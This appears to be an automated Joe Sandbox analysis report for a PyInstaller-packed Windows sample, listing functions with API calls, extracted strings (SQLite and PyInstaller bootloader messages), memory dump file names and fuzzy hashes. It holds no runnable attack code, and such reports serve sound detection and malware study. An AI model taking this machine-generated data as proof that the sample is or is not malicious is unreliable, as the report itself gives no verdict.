
Strings

ase, xrefs: 00007FF8A8A1A443
table, xrefs: 00007FF8A8A1A1FA
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 00007FF8A8A1A52A
sqlite_temp_master, xrefs: 00007FF8A8A1A215
sqlite_master, xrefs: 00007FF8A8A1A21C
CREATE TABLE x(type text,name text,tbl_name text,rootpage int,sql text), xrefs: 00007FF8A8A1A273

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID: CREATE TABLE x(type text,name text,tbl_name text,rootpage int,sql text)$SELECT*FROM"%w".%s ORDER BY rowid$ase$sqlite_master$sqlite_temp_master$table
API String ID: 0-879093740
Opcode ID: 9f42e3406ac938183844972fd7e71c3739af55f30fc9e8c9dc84d537b7258ba4
Instruction ID: 15fc504b5266c239e900169f8dbf09df8c5b3ae748d76862f0be40cda1a5a02c
Opcode Fuzzy Hash: 9f42e3406ac938183844972fd7e71c3739af55f30fc9e8c9dc84d537b7258ba4
Instruction Fuzzy Hash: 94E1A932E0BB81AAFB11CB64C1463B93BA1EB847D8F054235CE1D17691EF38F8558769

Function 00007FF8A899FDA0 Relevance: 9.3, APIs: 1, Strings: 4, Instructions: 510fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A899F790: memset.VCRUNTIME140 ref: 00007FF8A899F7FB

CreateFileW.KERNEL32 ref: 00007FF8A89A005A

Strings

psow, xrefs: 00007FF8A89A0436
winOpen, xrefs: 00007FF8A89A02E2
delayed %dms for lock/sharing conflict at line %d, xrefs: 00007FF8A89A0154
exclusive, xrefs: 00007FF8A899FFC0

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: CreateFilememset
String ID: delayed %dms for lock/sharing conflict at line %d$exclusive$psow$winOpen
API String ID: 2416746761-3829269058
Opcode ID: 1a83b3cc4d947195e0094d83331af209dbd6ff1b747f0f6d6622271a3daad3b2
Instruction ID: f841a6d75397f6c0fbb1caddc62ee50c6bbd4328747fe98ef22229c344d21f3e
Opcode Fuzzy Hash: 1a83b3cc4d947195e0094d83331af209dbd6ff1b747f0f6d6622271a3daad3b2
Instruction Fuzzy Hash: B532B421E0FA42EAFB548B25E848379A790FF45BD1F084635D95E426D0EF3CE846C729

Function 00007FF8A8A1ABB0 Relevance: 7.9, APIs: 3, Strings: 2, Instructions: 375COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A8A1AC29
memmove.VCRUNTIME140 ref: 00007FF8A8A1AE08
memmove.VCRUNTIME140 ref: 00007FF8A8A1AEC8

Strings

database schema is locked: %s, xrefs: 00007FF8A8A1ADC2
statement too long, xrefs: 00007FF8A8A1AD96

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove$memset
String ID: database schema is locked: %s$statement too long
API String ID: 3790616698-388537643
Opcode ID: d683dd2d58218024528ce6a110eaffb7fb0349f6b89ac664ca484a0789f38ebd
Instruction ID: d8667777a65244a17d65b506768707fd9acf85a578b6fba8e9eca308818c6cf3
Opcode Fuzzy Hash: d683dd2d58218024528ce6a110eaffb7fb0349f6b89ac664ca484a0789f38ebd
Instruction Fuzzy Hash: 0B02A222A0FA82A6EB65CF2195523B967A0FF44BC4F084131DA4E47795EF7CF451C32A

Function 00007FF8A89B2A60 Relevance: 5.1, APIs: 2, Strings: 1, Instructions: 580stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A89B2ACC
memmove.VCRUNTIME140 ref: 00007FF8A89B2C05

Strings

:memory:, xrefs: 00007FF8A89B2AC2

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmovestrcmp
String ID: :memory:
API String ID: 4085073597-2920599690
Opcode ID: 0aba4f142c5c8d77b45be6eab1a2f586e7a91dc499413344fac758633ead5f6d
Instruction ID: 6635775a920ef4da95ee4f090fcf5883c648109c0ccf9e82489d636f436c424f
Opcode Fuzzy Hash: 0aba4f142c5c8d77b45be6eab1a2f586e7a91dc499413344fac758633ead5f6d
Instruction Fuzzy Hash: 65429122A0B782AAEB64CB65D45C37927A4FF85BC5F084535CA4E47790EF3CE491C329

Function 00007FF6929E87E0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF6929E8813
FindClose.KERNEL32 ref: 00007FF6929E8822

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: bf04df12ed89424385b35bc97b9e30209b4e9d30cb3ee9ccc1531a0517fd62e7
Instruction ID: a7525637f6e646abe982b3e71948e0babfc2d3304183b6943dc35c558745185e
Opcode Fuzzy Hash: bf04df12ed89424385b35bc97b9e30209b4e9d30cb3ee9ccc1531a0517fd62e7
Instruction Fuzzy Hash: ACF04F37A1964286F7B08BA1B4997767390FB8476CF004375DA7E426E5DFBCD0098B00

Function 00007FF8A89A1150 Relevance: 1.7, APIs: 1, Instructions: 210COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,00007FF8A8A580BB,?,?,?,?,00007FF8A8998EBD,?,?,?,?,00007FF8A89CA237), ref: 00007FF8A89A1178

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 0b5bf4390641317b77d7beda414d16cc3ab3323117c76ea6fa35e76d5666347b
Instruction ID: 71ef2930d91b6719bbfa4392651b9dbe875c63e66edb2cc175a4aa470a1c1860
Opcode Fuzzy Hash: 0b5bf4390641317b77d7beda414d16cc3ab3323117c76ea6fa35e76d5666347b
Instruction Fuzzy Hash: A8A10E24E0FB07A2FE648B45A85523862A0FF44BC5F180935C98E477A0FF6CF956C369

Function 00007FF6929E1000 Relevance: 60.0, APIs: 2, Strings: 32, Instructions: 527COMMON

Download Yara Rule

Strings

Failed to convert DLL search path!, xrefs: 00007FF6929E321A
pyi-contents-directory, xrefs: 00007FF6929E2F58
minimize-early, xrefs: 00007FF6929E2FAE
Failed to load splash screen resources!, xrefs: 00007FF6929E32C4
_PYI_SPLASH_IPC, xrefs: 00007FF6929E2DE4, 00007FF6929E3334
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF6929E32E5
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF6929E2EFC
Could not create temporary directory!, xrefs: 00007FF6929E3105
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF6929E3043
pyi-hide-console, xrefs: 00007FF6929E2F7D
Failed to start splash screen!, xrefs: 00007FF6929E3313
minimize-late, xrefs: 00007FF6929E2FE8
hide-late, xrefs: 00007FF6929E2FCB
hide-early, xrefs: 00007FF6929E2F91
MEI, xrefs: 00007FF6929E2CF3
pyi-python-flag, xrefs: 00007FF6929E2EA0
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF6929E2D31
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF6929E2DCC, 00007FF6929E311A, 00007FF6929E3398
pkg, xrefs: 00007FF6929E2D7E
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF6929E30A5
_PYI_ARCHIVE_FILE, xrefs: 00007FF6929E2C92, 00007FF6929E2DC0
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF6929E2C43, 00007FF6929E2C6F
Py_GIL_DISABLED, xrefs: 00007FF6929E2EBE
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF6929E3248
Failed to remove temporary directory: %s, xrefs: 00007FF6929E33FC
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF6929E317B
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF6929E32FA
VCRUNTIME140.dll, xrefs: 00007FF6929E31EF
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF6929E2D9E
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF6929E3158
pyi-runtime-tmpdir, xrefs: 00007FF6929E2F33
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF6929E2DD8, 00007FF6929E2DF0, 00007FF6929E2E5C

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$hide-early$hide-late$minimize-early$minimize-late$pkg$pyi-contents-directory$pyi-hide-console$pyi-python-flag$pyi-runtime-tmpdir
API String ID: 2776309574-3325264605
Opcode ID: 8ac1c7ed386f0ba7fcc2cfe31624ca30e071948424c950289a9cd0dccfc6a921
Instruction ID: 485002241ddc41f1127d4ae705914279984238f96a91d9afd5a3a382b60fa26d
Opcode Fuzzy Hash: 8ac1c7ed386f0ba7fcc2cfe31624ca30e071948424c950289a9cd0dccfc6a921
Instruction Fuzzy Hash: D5428E32E0C68291FB35AB22E4542F96791FF5578CF8440B6DA9EC22D7EEACE544D300

Function 00007FF6929E1930 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6929E73E0: _fread_nolock.LIBCMT ref: 00007FF6929E748A

_fread_nolock.LIBCMT ref: 00007FF6929E19FB

Part of subcall function 00007FF6929E2020: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF6929E1B4A), ref: 00007FF6929E2070

Strings

Could not allocate memory for archive structure!, xrefs: 00007FF6929E1A41
Could not allocate buffer for TOC!, xrefs: 00007FF6929E1AFB
calloc, xrefs: 00007FF6929E1A48
MEI, xrefs: 00007FF6929E1971
fread, xrefs: 00007FF6929E1A12, 00007FF6929E1B3C
Error on file., xrefs: 00007FF6929E1B6D
Could not read full TOC!, xrefs: 00007FF6929E1B35
malloc, xrefs: 00007FF6929E1B02
Failed to seek to cookie position!, xrefs: 00007FF6929E19CE
Failed to read cookie!, xrefs: 00007FF6929E1A0B
fseek, xrefs: 00007FF6929E19D5

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: 2121fb3b7c02d1c1f8caf840cc34119f0c4d6b35c596901d8413cae4dc8ae3fe
Instruction ID: f4fcc74a98188a34d42582426d408627d83c90bcc4e27367e6fab3231c6c0b05
Opcode Fuzzy Hash: 2121fb3b7c02d1c1f8caf840cc34119f0c4d6b35c596901d8413cae4dc8ae3fe
Instruction Fuzzy Hash: DD816072A09A8686FB70DB16D0502F923A1FF4978CF444076EA8DC779BDEBCE9458740

Function 00007FF8A89A8A60 Relevance: 15.6, APIs: 7, Strings: 3, Instructions: 605stringCOMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A89A8B2E
memset.VCRUNTIME140 ref: 00007FF8A89A8BAA
memmove.VCRUNTIME140 ref: 00007FF8A89A8C11
memmove.VCRUNTIME140 ref: 00007FF8A89A8C2E
memmove.VCRUNTIME140 ref: 00007FF8A89A8DE5
memmove.VCRUNTIME140 ref: 00007FF8A89A8E0E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A89A90AA

Strings

nolock, xrefs: 00007FF8A89A8F93
-journal, xrefs: 00007FF8A89A8DED
immutable, xrefs: 00007FF8A89A90A0

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove$memsetstrcmp
String ID: -journal$immutable$nolock
API String ID: 779718827-4201244970
Opcode ID: ff9c3fc94335ffa12d30d59748fbf94f1e96b6279d7ac17b35eddb6adcb70ef1
Instruction ID: 806a74f315475fdd7a340ccf206dc142d59a1afdb674cb47e7ffc1f6fa39d73b
Opcode Fuzzy Hash: ff9c3fc94335ffa12d30d59748fbf94f1e96b6279d7ac17b35eddb6adcb70ef1
Instruction Fuzzy Hash: FE42B662A0B785A6EB548B25D448379B7A0FF45BE5F084634CA6E077C0EF3CE456C319

Function 00007FF6929E1450 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF6929E147F
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6929E14BE
fread, xrefs: 00007FF6929E15C6
malloc, xrefs: 00007FF6929E14FF
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6929E15BF
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6929E14F8
fseek, xrefs: 00007FF6929E14C5

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: cb90677e2d9f0adbbf6cd1968fce037a76c3465e6d06303757306e371d5c88a8
Instruction ID: 86f2ed6fcf72c0ef6841112e0a0cef47d8776b2992a60b44913edb03e72a2046
Opcode Fuzzy Hash: cb90677e2d9f0adbbf6cd1968fce037a76c3465e6d06303757306e371d5c88a8
Instruction Fuzzy Hash: B6415F32A0864296FB20EB2294415F96391FF5979CF8444B2ED4D87B9BDEBCE905C704

Function 00007FF8B7E428D8 Relevance: 13.7, APIs: 9, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF8B7E42900
__scrt_initialize_crt.LIBCMT ref: 00007FF8B7E42945
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF8B7E42952
_RTC_Initialize.LIBCMT ref: 00007FF8B7E42980
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF8B7E429A6
__scrt_release_startup_lock.LIBCMT ref: 00007FF8B7E429D1

Memory Dump Source

Source File: 00000003.00000002.2148628060.00007FF8B7E41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8B7E40000, based on PE: true

Associated: 00000003.00000002.2148531360.00007FF8B7E40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000003.00000002.2148654788.00007FF8B7E51000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000003.00000002.2148675978.00007FF8B7E60000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000003.00000002.2148695163.00007FF8B7E63000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8b7e40000_LIccs3x2LZ.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: ca69021b579c2fd1db4b1c8e9243fffc4b6b3c5726558fa799983710c88b923b
Instruction ID: 23bc2cc4bbf3c210568865259bc2e818106c064ec9a705ba0df125be1cdf0014
Opcode Fuzzy Hash: ca69021b579c2fd1db4b1c8e9243fffc4b6b3c5726558fa799983710c88b923b
Instruction Fuzzy Hash: E2819B61E0C74786FB60AB6E98412BD6298AF89FC0F144435EB4D973B6DE3CFA459700

Function 00007FF6929E11F0 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

1.3.1, xrefs: 00007FF6929E1229
malloc, xrefs: 00007FF6929E12A1, 00007FF6929E12D6
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF6929E129A
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF6929E13FE
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF6929E12CF
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF6929E1256

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: 622add740f202ba8c3b78e1601ac34ea09e60d7bcf7660fb9d035715f06d20f1
Instruction ID: 06729067873400742a27b31b40e9c0dbd9cdab93e23cb7f5ab111b9d52400d0a
Opcode Fuzzy Hash: 622add740f202ba8c3b78e1601ac34ea09e60d7bcf7660fb9d035715f06d20f1
Instruction Fuzzy Hash: 60518D72A08A8281FB70AB52A8403BA6391FF8579CF544175ED4D87BD7EEBCE945C700

Function 00007FF6929FFF1C Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF692A002B6,?,?,-00000018,00007FF6929FBBFB,?,?,?,00007FF6929FBAF2,?,?,?,00007FF6929F6E9E), ref: 00007FF692A00098
GetProcAddress.KERNEL32(?,?,?,00007FF692A002B6,?,?,-00000018,00007FF6929FBBFB,?,?,?,00007FF6929FBAF2,?,?,?,00007FF6929F6E9E), ref: 00007FF692A000A4

Strings

api-ms-, xrefs: 00007FF6929FFFE2
ext-ms-, xrefs: 00007FF6929FFFF5

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: aadbaee7c76e5d54b6d4897acaf79a0667e5faa90471c45c14db321705774b03
Instruction ID: f2872f9bcb8f0dbd0a4d3fbe87ea54bd999d415b058173ea1a493514937d1f17
Opcode Fuzzy Hash: aadbaee7c76e5d54b6d4897acaf79a0667e5faa90471c45c14db321705774b03
Instruction Fuzzy Hash: 2B411663B1AA4281FB35DF16A800AB52391FF4ABA8F094175DD0DD7785DEBDE845C308

Function 00007FF6929E2A70 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF6929E2BC5), ref: 00007FF6929E2AA1
GetLastError.KERNEL32(?,00007FF6929E2BC5), ref: 00007FF6929E2AAB

Part of subcall function 00007FF6929E2310: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF6929E2AC6,?,00007FF6929E2BC5), ref: 00007FF6929E2360
Part of subcall function 00007FF6929E2310: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6929E2AC6,?,00007FF6929E2BC5), ref: 00007FF6929E241A

Strings

Failed to obtain executable path., xrefs: 00007FF6929E2AB3
Failed to resolve full path to executable %ls., xrefs: 00007FF6929E2AF9
\\?\, xrefs: 00007FF6929E2B1A
GetModuleFileNameW, xrefs: 00007FF6929E2ABA
Failed to convert executable path to UTF-8., xrefs: 00007FF6929E2B50

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentErrorFileFormatLastMessageModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 4002088556-2863816727
Opcode ID: aed140f8d8e2637361ba54921802919f4f3b7eb641456186ceb893f60fbbd120
Instruction ID: 11d526cfcfc1538a9df3a369e74cdbcc503ac378eae4b6544f19369fb303a14a
Opcode Fuzzy Hash: aed140f8d8e2637361ba54921802919f4f3b7eb641456186ceb893f60fbbd120
